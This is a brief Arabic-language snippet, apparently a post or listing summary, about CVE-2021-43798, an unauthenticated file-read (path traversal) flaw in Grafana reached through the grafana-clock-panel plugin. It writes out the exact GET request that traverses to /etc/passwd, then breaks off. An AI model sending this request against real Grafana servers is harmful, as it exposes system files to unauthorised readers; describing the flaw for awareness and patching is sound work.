grafana-unauth-file-read

grafana-unauth-file-read : CVE-2021-43798 قراءة غير مصرح بها للملفات في Grafana 0day يبدو أن ثغرة 0day الجديدة من نوع LFI في Grafana موجودة بفضل إضافة grafana-clock-panel. يكفي إرسال طلب GET بالشكل التالي: GET /public/plugins/grafana-clock-panel/../../../../../../../etc/passwd قائمة الإضافات...